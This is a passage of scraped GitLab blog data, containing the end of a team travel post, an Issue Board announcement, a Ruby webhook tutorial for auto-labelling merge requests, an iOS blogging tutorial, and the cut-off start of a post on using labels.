2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## Las Vegas\n\nKirsten joined us in Vegas with her husband Jobert, co-founder of HackerOne, for the\nDefCon and Black Hat conferences. I can confidently say the highlight for everyone was\nthe annual [Queercon] pool party co-sponsored by HackerOne.\nWe were so overcome with excitement at being there we jumped in the pool fully clothed and swam\nlistening to the DJ for hours. John, in an effort to make us all look like slobs, rented a tux\nfor the event. It took a bit of coaxing, but he eventually caved and did the most epic cannonball\ninto the pool in a full out monkey suit. John claims his #tuxedoswim trending on Twitter\nwas worth the extra dry cleaning bill.\n\n![Hard at work in Vegas](https://about.gitlab.com/images/blogimages/gitlab-in-action/vegas.jpg)\n\n## Upcoming\n\nFrom Vegas they headed to South America where their remote work adventure continues.\nLook out for their future blog series on the coffee shops with the best wifi\nin the world and other insights from these road warriors.\n\nThis post is one in a series about this particular trip. Check out\n[part 2](/blog/gitlab-in-action-part-2/) and the\n[summary](/blog/around-the-world-in-6-releases/)!\n\n## Join us!\n\nIf you are as amazed as we are, why don't you consider [joining our team][jobs]? I bet you'd love it! \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n\n\n\u003C!-- identifiers -->\n\n[culture]: /company/culture/\n[Douwe]: https://twitter.com/DouweM\n[Drew]: https://twitter.com/drewblessing\n[jobs]: /jobs/\n[John]: https://twitter.com/northrup\n[Josh]: https://twitter.com/wredej\n[Phil]: https://twitter.com/pmanjr311\n[Robert]: https://twitter.com/rspeicher\n[queercon]: https://www.queercon.org/\n[Gabe Gunderson]: https://twitter.com/gabegundy\n\n\u003Cstyle>\n  .center twitterwidget {\n    margin-left: auto;\n    margin-right: auto;\n    display: block;\n    box-shadow: 0 4px 18px 0 rgba(0, 0, 0, 0.1), 0 6px 20px 0 rgba(0, 0, 0, 0.09);\n    margin-bottom: 20px;\n    margin-top: 20px;\n}\n\u003C/style>\n",{"slug":37560,"featured":6,"template":678},"gitlab-in-action","content:en-us:blog:gitlab-in-action.yml","Gitlab In Action","en-us/blog/gitlab-in-action.yml","en-us/blog/gitlab-in-action",{"_path":37566,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37567,"content":37572,"config":37576,"_id":37578,"_type":16,"title":37579,"_source":17,"_file":37580,"_stem":37581,"_extension":20},"/en-us/blog/announcing-the-gitlab-issue-board",{"title":37568,"description":37569,"ogTitle":37568,"ogDescription":37569,"noIndex":6,"ogImage":32760,"ogUrl":37570,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37570,"schema":37571},"Announcing The GitLab Issue Board","Strengthen your Release Management Process: announcing the GitLab Issue Board!","https://about.gitlab.com/blog/announcing-the-gitlab-issue-board","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing The GitLab Issue Board\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-08-22\",\n      }",{"title":37568,"description":37569,"authors":37573,"heroImage":32760,"date":37574,"body":37575,"category":299},[3532],"2016-08-22","\n\nSoftware is eating the world. Reducing the time between having an idea and having the code in production\nis a great competitive advantage. Planning what to do next is an essential part of that process. Today we\nintroduce our Issue Board that will make it faster to plan issues. It is an integrated part of GitLab, ensuring\nyou don't have to switch tools to get things done.\n\n\u003C!-- more -->\n\n## Release management isn’t perfect\n\nUnderstanding your team’s challenges is the first step to solving them.\nSpeaking from our own experiences shipping GitLab, some of the release\nchallenges we face are:\n\n**Prioritization:** with nearly 4,500 issues in our [CE project][ce] and\nour [direction] issues, we are constantly faced with tough decisions of\nwhere to focus our resources.\n{: .alert .alert-info .blue}\n\n**Planning:** we release on the 22nd of every month. To hit our release goal,\nwe have to be incredibly diligent about what we forecast for each release.\n{: .alert .alert-info .blue}\n\n**Communication:** with a growing team consisting of 24 developers, 6 frontend\nengineers, and 5 UX designers, it has become increasingly more important to\nensure the full team has visibility into the overall release process.\n{: .alert .alert-info .blue}\n\n## What the experts had to say\n\nObviously, we’re not “the experts.” But we’ve summarized their feedback.\nThe International Journal of Computer Applications [2013 study][2013] has\ngreat insights into effective release management processes.\n\n\u003Ci class=\"fas fa-globe fa-fw font-awesome purple\" aria-hidden=\"true\">\u003C/i> **1. Create\na single source of truth:** eliminate the natural differences that\noccur with large teams working in different time zones, running different\nprocesses, and using different tools.\n\n\u003Ci class=\"fas fa-arrows-alt fa-fw font-awesome orange\" aria-hidden=\"true\">\u003C/i> **2. Manage\napplication dependencies:** avoid release failures by ensuring your\ntesting environments account for version dependencies.\n\n\u003Ci class=\"far fa-edit fa-fw font-awesome purple\" aria-hidden=\"true\">\u003C/i> **3. Document\neverything:** make sure it’s in a common repository and that it’s\neasily discoverable.\n\n\u003Ci class=\"fas fa-eye fa-fw font-awesome orange\" aria-hidden=\"true\">\u003C/i> **4. Make\napprovals visible:** you and your team should have agreed upon quality\nbars that determine what makes it into each environment.\n\n\u003Ci class=\"fas fa-terminal fa-fw font-awesome purple\" aria-hidden=\"true\">\u003C/i> **5. Deploy\nconsistently across environments:** standardize your build, test,\nand deploy process by automating as much as you can. The goal is to\nremove error and unpredictability.\n\n\u003Ci class=\"fas fa-crosshairs fa-fw font-awesome orange\" aria-hidden=\"true\">\u003C/i> **6. Make\nthe release plan easy to consume:** we’re lumping all the\n**P**'s (planning, people, process, and policy) together. They all boil up to\nthe same key ideas. Policies and plans should be centralized. Ownership must\nbe clear. Finally, a change in plans needs to be visible to the full team.\n\n## GitLab: From idea to production\n\nThat list is easier said than done. But it’s where we are all headed.\nModern development teams are optimizing for speed without sacrificing quality.\nThey are moving away from older process-driven development styles like Waterfall,\nScrum, and Agile and towards continuous delivery and deployment. To\nsupport modern development practices, GitLab has everything you need to get\n[from idea to production faster][cd].\n\nThere are 10 steps from idea to production in the modern development lifecycle.\n\n![FROM IDEA TO PRODUCTION IN 10 STEPS](https://about.gitlab.com/images/blogimages/announcing-the-gitlab-issue-board/10-step-dev-lifecycle-plan.png)\n\n1. Chat conversation &#8594; [Mattermost ships with GitLab][mattermost]\n1. Issue creation &#8594; [GitLab Issues][issue]\n1. Planning board &#8594; [GitLab Issue Board]\n1. IDE &#8594; [Koding + GitLab][koding] Integration\n1. Version control &#8594; GitLab Repositories\n1. Continuous Integration &#8594; [GitLab CI][ci] and [GitLab Container Registry][container]\n1. Code review &#8594; GitLab Merge Requests\n1. Continuous Delivery &#8594; [GitLab Deploy][cd]\n1. Chatops &#8594; We're planning to ship [Cog]\n1. Feedback &#8594; We plan to ship with [Cycle Analytics][cycle]\n\nThe 10 steps of the modern development lifecycle will be included directly in\nGitLab in the coming months. Today we are announcing the [GitLab Issue Board],\na software project management tool used to **plan**, **organize**, and **visualize** a team’s\nfeature or product release process.\n\n## Closer look at the GitLab Issue Board\n\nThe Issue Board builds on GitLab’s existing issue tracking functionality and now\noffers teams the ability project manage their release and deployment process. This\nis the first iteration of our Issue Board. Here are a few things you should know about:\n\n### The GitLab Issue Board\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> It’s\na new way to **manage** your **issues** in GitLab. Your issues appear as **cards** on the Board.\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> **Lists**\n(or columns) represent each step in your development process.\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> Your\nlists are **based on** your **Labels**. Which means it works out of the box with your existing issues.\nSo if you’ve already labeled things with “Development” and “Production”, the corresponding issues will\nappear in the lists as you create them.\n\n![GITLAB ISSUE BOARD](https://about.gitlab.com/images/blogimages/announcing-the-gitlab-issue-board/gitlab-issue-board.png){: .shadow}\n\n### Lists\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> Each\nIssue Board starts with two lists: **Backlog** and **Done**. The Backlog will hold all the issues in\nyour project which don't have any label assigned to a list. Once you label an issue, and create a list for that\nlabel, it will be automatically moved from **Backlog** to the corresponding list. You can create unlimited lists!\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> You\ncan drag and drop the lists to organize your Board according to your own workflow:\n\n![drag and drop issue](https://about.gitlab.com/images/blogimages/announcing-the-gitlab-issue-board/gif-drag-and-drop-list.gif){: .shadow .center}\n\n### Labels\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> When\nyou move issues between lists, the label on the issue is automatically updated, though it doesn't show on the issue card.\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> This\nnew label is displayed in the Issue Tracker as well as on the issue itself. So, even if someone on\nyour team isn’t checking the Issue Board, they’ll still have a record of what step an issue is on.\n\n![drag and drop issue](https://about.gitlab.com/images/blogimages/announcing-the-gitlab-issue-board/gif-drag-and-drop.gif){: .shadow .center}\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> If\nyou drag and drop the card to the list **Done**, the issue will be automatically closed.\n\n### Functionality\n\n#### Example\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> By\nadding new lists, you can create workflows. For example, you can create a list\nbased on the label of “Frontend” and one for “Backend”. A designer can start working on\nan issue by dragging it from **Backlog** to “Frontend”. That way, everyone knows,\nthis issue is now being worked on by the frontend engineers.\nThen, once they’re done, all they have to do is drag it over to the next list, Backend,\nwhere a backend developer can eventually pick it up. Once they’re done, they move it to\nthe list **Done**, to close the issue.\n\nRead through the [Issue Board documentation][doc] to know everything you can do with it.\n\n#### Bonus\n\n\u003Ci class=\"fas fa-check-circle-o fa-fw font-awesome green\" aria-hidden=\"true\">\u003C/i> Using\nGitLab’s existing Label functionality also means that you’ll have all the same\nfiltering and sorting abilities you see across the rest of the product.\n\n### Live demo\n\nTo see the GitLab Issue Board in action, take a look at GitLab Developer Advocates\n([Amanda] and [Ivan])’s screencast below.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/UWsJ8tkHAa8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Join our webcast\n\nOn September 1st, we’ll be hosting a webinar to discuss and demo the Issue Board and all of the other\ngreat features in GitLab 8.11. [Register here][webcast].\n\n\u003C!-- identifiers -->\n\n[2013]: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.403.1791&rep=rep1&type=pdf\n[about-gitlab-com]: htpps://about.gitlab.com/\n[cd]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/\n[ce]: https://gitlab.com/gitlab-org/gitlab-ce/issues\n[ci]: /solutions/continuous-integration/ [cog]: https://gitlab.com/gitlab-org/omnibus-gitlab/issues/1412\n[container]: /blog/gitlab-container-registry/\n[cycle]: https://gitlab.com/gitlab-org/gitlab-ce/issues/20975\n[direction]: /direction/\n[doc]: https://docs.gitlab.com/ee/user/project/issue_board.html\n[GitLab Issue Board]: /stages-devops-lifecycle/issueboard/\n[issue]: /blog/start-with-an-issue/\n[koding]: /blog/koding-and-gitlab-integrated/\n[mattermost]: /blog/gitlab-loves-mattermost/\n[webcast]: https://Page.gitlab.com/IssueBoardWebcast_LandingPage.html\n[Amanda]: https://twitter.com/AmbassadorAwsum\n[Ivan]: https://twitter.com/inemation\n\n\u003Cstyle>\n  .blue {\n    color: rgb(49,112,143) !important;\n  }\n  .center {\n    display: block;\n    margin-right: auto;\n    margin-left: auto;\n  }\n  .font-awesome {\n    font-size:.85em;\n  }\n  .purple {\n    color:rgb(107,79,187);\n  }\n  .orange {\n    color:rgb(252,109,38);\n  }\n  .green {\n    color: rgb(60,118,61);\n  }\n\u003C/style>\n",{"slug":37577,"featured":6,"template":678},"announcing-the-gitlab-issue-board","content:en-us:blog:announcing-the-gitlab-issue-board.yml","Announcing The Gitlab Issue Board","en-us/blog/announcing-the-gitlab-issue-board.yml","en-us/blog/announcing-the-gitlab-issue-board",{"_path":37583,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37584,"content":37590,"config":37595,"_id":37597,"_type":16,"title":37598,"_source":17,"_file":37599,"_stem":37600,"_extension":20},"/en-us/blog/applying-gitlab-labels-automatically",{"title":37585,"description":37586,"ogTitle":37585,"ogDescription":37586,"noIndex":6,"ogImage":37587,"ogUrl":37588,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37588,"schema":37589},"Applying GitLab Labels Automatically","Learn how to use GitLab Webhooks to apply labels automatically to MRs.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672498/Blog/Hero%20Images/applying-gitlab-labels-automatically-cover.jpg","https://about.gitlab.com/blog/applying-gitlab-labels-automatically","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Applying GitLab Labels Automatically\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brian O'Connell\"}],\n        \"datePublished\": \"2016-08-19\",\n      }",{"title":37585,"description":37586,"authors":37591,"heroImage":37587,"date":37593,"body":37594,"category":299},[37592],"Brian O'Connell","2016-08-19","\nThis is a customer story on how Brian uses [GitLab Webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html)\nto apply **labels** automatically to his projects' merge requests.\n\nThis article follows up his previous post, on how [using GitLab Labels](https://about.gitlab.com/blog/using-gitlab-labels/)\nhelps him to direct focus and improve his workflow.\n\n\u003C!-- more -->\n\n## Automatic application of GitLab Labels\n\nIn my previous post I described how to use [GitLab Labels](https://docs.gitlab.com/ee/user/project/labels.html)\nto easily triage. @shochdoerfer asked me:\n\n> _@boc_tothefuture how can @GitLab labels be applied automatically\nfor issues or merge requests?_\n\n### A quick webhook server\n\nWe use [GitLab webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html) to automatically apply labels\nto incoming merge requests (MRs). To process the webhooks, we wrote a\nsimple webrick server whose process is supervised by runit and the\nincredibly well-written runit cookbook.\n\n### Adding labels automatically\n\nUsing the Webrick as a base it’s fairly easy to get labels added to your\nMRs when they are opened. When the request comes in to your webrick server,\nlook at the GitLab `object_kind` to see if it's a MR.\n\n```ruby\ndef merge_request?(request_body)\n  body['object_kind'] == 'merge_request'\nend\n```\n\nIf the code is a merge request, the next step is calculate the labels that\nshould be applied to the MR. In our case that is a ‘Needs Review’ label\nif the MR is just being opened. Then because we use Semver and\nthor-scmversion we just scan all the commit messages for `#patch`, `#minor`\nand `#major` to apply the appropriate Semver tag to the MR.\n\nYou will need a valid [GitLab API](https://docs.gitlab.com/ee/api/) key to modify and or request data about a MR.\n\n```ruby\ndef update_labels(gitlab_server, api_key, request_body )\n  project_id = request_body['object_attributes']['target_project_id']\n  request_id = ['object_attributes']['id']\n  labels = ['Needs Review'] if request_body['object_attributes']['action']\n  semver_increment = semver_increment(gitlab_server, api_key,request_body )\n  labels += semver_increment if semver_increment\n\n  merge_data = {id: hook_id(hook), project_id: project_id(hook), labels: labels.to_a.sort.join(',')}\n  url = \"#{gitlab_server}/api/v3/projects/#{project_id}/merge_requests/#{request_id}?private_token=#{api_key}\"\n  RestClient::Request.execute(:method => :put, :payload => merge_data, :url => url)\nend\n\ndef semver_increment(gitlab_server, api_key, request_body)\n  from_branch = request_body['object_attributes']['target_branch']\n  to_branch = request_body['object_attributes']['source_branch']\n  project_id = request_body['object_attributes']['target_project_id']\n\n  params = { private_token: api_key, from: from_branch, to: to_branch }\n  url = \"#{gitlab_server}/api/v3/projects/#{project_id}/repository/compare\"\n  changelog = JSON.parse(RestClient::Request.execute(:method => :get, :url => url, :headers => { params: params }))\n  changelog = (changelog['commits'] || []).map { |commit| commit['message'] }\n  return 'Major' if changelog.any? { |msg| msg.include? '#major' }\n  return 'Minor' if changelog.any? { |msg| msg.include? '#minor' }\n  return 'Patch' if changelog.any? { |msg| msg.include? '#patch' }\nend\n```\n\n## Pro tips\n\nYou will need to do some extra work to make this work on updates.\nFor updates you will need pull the current labels and merge them\nwhere appropriate. This is necessary to update the labels when a\nsubsequent commit to the MR takes it from a `#patch` to a `#minor`\nor `#major`.\n\nYou should thread your webrick server so the processing of the updating\nof incoming requests is in an different thread than the accepting of\nwebhooks from GitLab. If you don’t do multi-thread you may run into\nissues where GitLab resends the webhooks because of a timeout. The\ndefault timeout in GitLab is 10 seconds. Simple threading with rubythread and a queue should be sufficient.\n\nThanks to my colleague Cameron McAvoy, who added the label processing\nto the original webhook server I wrote.\n",{"slug":37596,"featured":6,"template":678},"applying-gitlab-labels-automatically","content:en-us:blog:applying-gitlab-labels-automatically.yml","Applying Gitlab Labels Automatically","en-us/blog/applying-gitlab-labels-automatically.yml","en-us/blog/applying-gitlab-labels-automatically",{"_path":37602,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37603,"content":37609,"config":37613,"_id":37615,"_type":16,"title":37616,"_source":17,"_file":37617,"_stem":37618,"_extension":20},"/en-us/blog/posting-to-your-gitlab-pages-blog-from-ios",{"title":37604,"description":37605,"ogTitle":37604,"ogDescription":37605,"noIndex":6,"ogImage":37606,"ogUrl":37607,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37607,"schema":37608},"Posting to your GitLab Pages blog from iOS","Tutorial: Learn how to post to your GitLab Pages blog from anywhere, using your iOS device.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684176/Blog/Hero%20Images/ios-writing-anywhere.png","https://about.gitlab.com/blog/posting-to-your-gitlab-pages-blog-from-ios","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Posting to your GitLab Pages blog from iOS\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Angelo Stavrow\"}],\n        \"datePublished\": \"2016-08-19\",\n      }",{"title":37604,"description":37605,"authors":37610,"heroImage":37606,"date":37593,"body":37612,"category":734},[37611],"Angelo Stavrow","\n\nSpeed and stability under load are [advantages of using a static-site generator (SSG)][1],\nbut because building the site and uploading the generated HTML is done on a computer,\nare you stuck hauling around your laptop to post to your SSG-powered blog?\nNope! In this post we'll show you how to harness the power of [GitLab Pages][2]\nupdate your site from your iOS device anywhere, anytime.\n\n\u003C!-- more -->\n\n## Requirements\n\nYou'll need an SSG-powered site set up on GitLab.com, of course (they're free _and_\n[easy to set up][3]!), but you'll also need an app for performing [Git][Git] operations\nand for text editing on your iOS device.\n\nIn this tutorial, we'll post to a [Hugo][4]-based site (though it'll work with\n[any SSG that you use with GitLab Pages][pageshowto]) using [Working Copy][5] to\nhandle Git operations and [Editorial][6] for text-editing. GitLab provides\n[a template][hugotemplate] that you can use to set up your own Hugo-powered SSG.\n\nNote that these apps aren't free. Working Copy requires an in-app purchase to be\nenable pushing to a remote repository, and Editorial costs a small amount. Of course,\nthere are other options available (you can explore some of them on the\n[GitLab Community Applications page][7]), but these are the apps we'll be using\nto describe the process in this tutorial.\n\n## Concept\n\nGitLab Pages uses [GitLab CI][ci] to automate [building and deploying][cd] your SSG-powered\nwebsite when you push a commit to a certain branch (e.g., `master`). When GitLab CI\nsees a new commit on this branch, it triggers the [GitLab Runner][gitlabrunner] to\nexecute the scripts in the [`.gitlab-ci.yml`][gitlabciyml] file you created when\nyou set up your SSG for GitLab Pages. There's a [great set of templates][templates]\nfor setting up your SSG of choice, including sample `.gitlab-ci.yml` files.\n\nSince the process needs some (pretty straightforward) Git management, we need an\napp to handle committing and pushing to GitLab. It's also a good reason to\ncheckout a new branch while you're working on your edits! Imagine you're drafting\na new article on your iPhone, then push it to `master` on GitLab so that you can\npick up where you left off on another device (say, your computer). GitLab CI will\npick up the commit, and publish a half-finished post automatically! By working on\na separate branch, you don't have to worry about that happening.\n\n## The details\n\n### Cloning your site's repository\n\nStart by logging in to your GitLab account in Working Copy and cloning your website's\nrepository to your iOS device by following the instructions in the app's [user guide][8].\n\n### Creating a new branch\n\nNext, navigate to your site's repository and create a new branch. In Editorial,\nthis is done by tapping the **Repository** cell, then the **Branch** cell, and then\nthe top-rightmost button (create new branch) in the navigation bar. Give your branch\na name (for example, something like `post_title-of-article_yyyy-mm-dd` might be\nuseful), and then tap on **Done**. Tap the **\u003C** (back) button on the top-left of\nthe navigation bar twice to go back to your repository.\n\n![Creating a new branch in Working Copy](https://about.gitlab.com/images/blogimages/posting-to-your-gitlab-pages-blog-from-ios/wc-add-new-branch-annotated.png){: .shadow}\n\n### Creating a new file for the post\n\nNow that you're on a new branch, navigate within your repository to the folder where\nposts go. In Hugo's default [setup][hugoquickstart], this is `/content/post`&mdash;\nnavigating here, you should see all of your existing posts listed. To add a new\nfile, tap the **&#43;** button in the top-right of the navigation bar, and from\nthe sheet that pops up, tap **Create text file**. Give the file a name (e.g.,\n`title-of-article.md`). If you like, tap on the newly-created file to view details,\nthen go back.\n\n![Creating a new file in Working Copy](https://about.gitlab.com/images/blogimages/posting-to-your-gitlab-pages-blog-from-ios/wc-add-new-file-annotated.png){: .shadow}\n\n### Opening the file for editing\n\nOf course, since the file is empty, you need to edit it to draft your post. Tap on\nthe file in the table view to display the file contents (currently empty), then\ntap on the share icon in the upper-right corner of the navigation bar, and in the\nshare sheet that pops up, tap **Edit** to begin editing the file in Working Copy, or&mdash;if you have it installed&mdash;tap **Edit in Editorial** to open the\nfile in Editorial for writing. The first time you do so, Working Copy will let you\nknow what's going to happen, and invite you to install the \"Working Copy\" workflow\nin Editorial. This will let you send the file back to Working Copy, ready for committing.\n\n![Opening the file for editing in Editorial](https://about.gitlab.com/images/blogimages/posting-to-your-gitlab-pages-blog-from-ios/wc-open-file-for-editing-annotated.png){: .shadow}\n\n### Adding required front matter\n\nHugo (and most other SSGs) require each post to have some [front matter][hugofrontmatter],\nincluding a date, a title, and so on. One nice option with Editorial is that it\ncan natively expand [TextExpander][9] shortcuts _without_ having to switch to\nalternate keyboards. You can create a template for your front matter and, upon\nopening the file in Editorial, type the shortcut (e.g., `;toml` or `;yaml`),\nand&mdash;💥 poof💥&mdash;the shortcut will be expanded and ready for whatever\nyou need to enter.\n\n### Writing the post\n\nYou're now ready to type your article! Go ahead and type to your heart's content.\nYou can swipe to the left from the edge of the screen in Editorial to show a Markdown\npreview of what you've written so far, in case you want to preview the post. Keep\nin mind that your SSG may not be using the same Markdown rendering engine as\nEditorial does, so if you're using non-standard Markdown elements, the final post\nmay not look exactly the same.\n\n![Sending the file back to Working Copy from Editorial](https://about.gitlab.com/images/blogimages/posting-to-your-gitlab-pages-blog-from-ios/wc-editorial-workflow-annotated.png){: .shadow}\n\nWhen you're at a point where you want to save and commit your progress, tap the 🔧\nicon in the top-right of the navigation bar in Editorial, then tap the **Working\nCopy** workflow, and you'll be taken back to Working Copy, ready to commit. Enter\na commit message and tap **Commit** in the navigation bar to commit your changes.\n\n### Adding images to your post\n\nWant to add an image to your post? You can save a photo to your repository in Working\nCopy by navigating to the right folder (in Hugo, images should be saved in the\n`static` folder; other SSGs will vary), tapping the **&#43;** button, and tapping\non **Import image** in the pop-up sheet. Select the images you want to add from\nyour photos (you may have to give Working Copy permission to access the library\nfirst), and it'll be added to the repository. You then just have to reference them\nappropriately in your Markdown file.\n\n### Committing your changes and pushing the content back to GitLab\n\nOnce you're ready to commit, tap the **Repository** field in Working Copy's repository\nnavigator, then tap on the **Commit changes** button. You'll be prompted to enter\na short summary, as well as an (optional) detailed explanation of the changes. Below\nthe text fields, you'll see a list of files to commit (i.e., the text file you added\nfor your post, and any images you uploaded in Working Copy).\n\n![Commit and push from Working Copy to GitLab](https://about.gitlab.com/images/blogimages/posting-to-your-gitlab-pages-blog-from-ios/wc-commit-and-push-annotated.png){: .shadow}\n\nOnce you've entered a commit message, the **Commit** button will be enabled in the\ntop-right of the navigation bar. Next to it is a **&#43;Push** toggle; if it's\nhighlighted in blue, tapping on the commit button will commit the changes and push\nthem to GitLab; otherwise, the commit will only take place on your iOS device. Tap\nthe **&#43;Push** button to toggle this behavior. This may be useful if you want\nto make multiple commits while you're working without a network connection, for\nexample, then pushing them all at once to GitLab once you're connected again.\n\n### Merging the post branch into master to trigger CI and publish\n\nSo you've written your post, added some images, and pushed the changes to GitLab.\nWant to publish from your iPhone? You can easily do so from GitLab! Launch\nSafari and log in to GitLab, and create a new Merge Request as you normally\nwould to merge the changes in your `post_title-of-article_yyyy-mm-dd` branch to\n`master`. Accept the merge and GitLab CI will pick up the changes, execute the\nrequired scripts, and publish the changes to your site!\n\n## Final thoughts\n\nThe workflow described in this article might be for you if:\n\n- you're the type to be struck by inspiration, and want to be able to draft something\nquickly, or\n- you're often away from your computer, or\n- you want to blog about your trip while you're travelling, or\n- you simply prefer to use iOS devices in place of computers,\n\nIf any of these situations apply to you, this is a very convenient way to use a\n SSG for its benefits, without giving up your ability to work from anywhere.\n\nHowever, there are some caveats to consider. For one, you can't render your site\nlocally on your iPhone to preview what your post (or other changes, for that matter)\nwill look like when it goes live. If you're still in the process of tweaking things,\nor  you haven't fully explored your SSG's Markdown rendering engine, that can be\na bit troublesome&mdash;for example, you may only find out after the post goes\nlive that it will correctly render an HTML entity by code (e.g., `&#43;`) but not\nby description (e.g., `&plus;`). Oops. Of course, you can always sync your working\nbranch back to your computer and preview it there, if you really need to.\n\nAdditionally, if you're using your iPhone, the screen and virtual keyboard size\nmay be uncomfortable for typing longer posts. You can certainly use an external\nBluetooth keyboard, but this may not be practical, and it doesn't change the size\nof your phone's screen!\n\nFinally, while Working Copy and Editorial are both excellent, professional-level\napps, they may not be in your budget. Fortunately, you can always do everything\noutlined here via the GitLab website (creating new branches and files) as long as\nyou have an internet connection; if you want to continue writing while offline,\nyou can always copy and paste into one of [many text editors for iOS][itexteditors],\nseveral of which also feature Markdown previewing.\n\nWhatever method you choose, it's comforting to know that GitLab has you covered\nshould you want to post to your SSG-powered blog from your iOS device. What are\nyour preferred mobile git clients and text editors? Tell us in the comments!\n\n## About the author\n\n[Angelo](http://angelostavrow.com) is a Quality Engineer and Software Developer\nliving in Montreal, Canada. He believes that open, honest, collaboration is the\nbest path towards building great things _and_ great teams.\n\n\u003C!-- cover image: https://unsplash.com/photos/hkN2Zde2ga4 -->\n\n[1]: /blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static/\n[2]: https://pages.gitlab.io/\n[3]: /blog/gitlab-pages-setup/\n[4]: http://gohugo.io\n[5]: http://workingcopyapp.com/\n[6]: http://omz-software.com/editorial/\n[7]: /partners/\n[8]: http://workingcopyapp.com/manual.html#cloning-repos\n[9]: https://textexpander.com/\n[Git]: https://git-scm.com/\n[ci]: /solutions/continuous-integration/ [cd]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/\n[templates]: https://gitlab.com/groups/pages\n[gitlabrunner]: http://doc.gitlab.com/ee/ci/quick_start/README.html#shared-runners\n[gitlabciyml]: /blog/gitlab-pages-setup/#gitlab-ci\n[pageshowto]: /blog/ssg-overview-gitlab-pages-part-3-examples-ci/\n[hugoquickstart]: http://gohugo.io/overview/quickstart/\n[hugofrontmatter]: https://gohugo.io/content/front-matter/\n[hugotemplate]: https://gitlab.com/pages/hugo\n[itexteditors]: http://brettterpstra.com/ios-text-editors/\n",{"slug":37614,"featured":6,"template":678},"posting-to-your-gitlab-pages-blog-from-ios","content:en-us:blog:posting-to-your-gitlab-pages-blog-from-ios.yml","Posting To Your Gitlab Pages Blog From Ios","en-us/blog/posting-to-your-gitlab-pages-blog-from-ios.yml","en-us/blog/posting-to-your-gitlab-pages-blog-from-ios",{"_path":37620,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37621,"content":37627,"config":37631,"_id":37633,"_type":16,"title":37634,"_source":17,"_file":37635,"_stem":37636,"_extension":20},"/en-us/blog/using-gitlab-labels",{"title":37622,"description":37623,"ogTitle":37622,"ogDescription":37623,"noIndex":6,"ogImage":37624,"ogUrl":37625,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37625,"schema":37626},"Using GitLab Labels","Learn how Brian uses GitLab Labels for his workflow","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684871/Blog/Hero%20Images/gitlab-labels-cover.jpg","https://about.gitlab.com/blog/using-gitlab-labels","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using GitLab Labels\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brian O'Connell\"}],\n        \"datePublished\": \"2016-08-17\",\n      }",{"title":37622,"description":37623,"authors":37628,"heroImage":37624,"date":37629,"body":37630,"category":8943},[37592],"2016-08-17","\nThis post is a customer story on how using **GitLab Labels** can help you (a lot) to\ndirect your **focus** and to organize your **workflow**.\n\n\u003C!-- more -->\n\n## Steps\n\n1. Drink the [DevOps](/topics/devops/) Koolaid\n1. Start managing your infrastructure as code\n1. Become afraid of how a small change in the wrong place could devastate\nyour infrastructure\n1. Freak out\n1. Put controls in place so changes don't get pushed to production without approval\n1. Pull your hair out trying to figure out which MRs need your attention\n1. These were the steps we took that resulted in us embracing GitLab labels\nto direct focus. Once you start managing your infrastructure as code, using\nChef or other tools, you may quickly find a need to restrict who can merge to\nmaster in order to prevent chaos.\n\nWe use [GitLab Enterprise][ee] for [source code management](/solutions/source-code-management/).\n\nOne of the great features it has is the ability to use **labels** to help\ndirect **focus** and **workflow**.\n\n## GitLab labels\n\nHow does [GitLab define their label feature][doc]?\n\n> _Labels provide an easy way to categorize the issues or merge requests based\non descriptive titles like bug, documentation or any other text you feel like.\nThey can have different colors, a description, and are visible throughout the\nissue tracker or inside each issue individually._\n\nWhat labels did we adopt?\n\nRight now we are 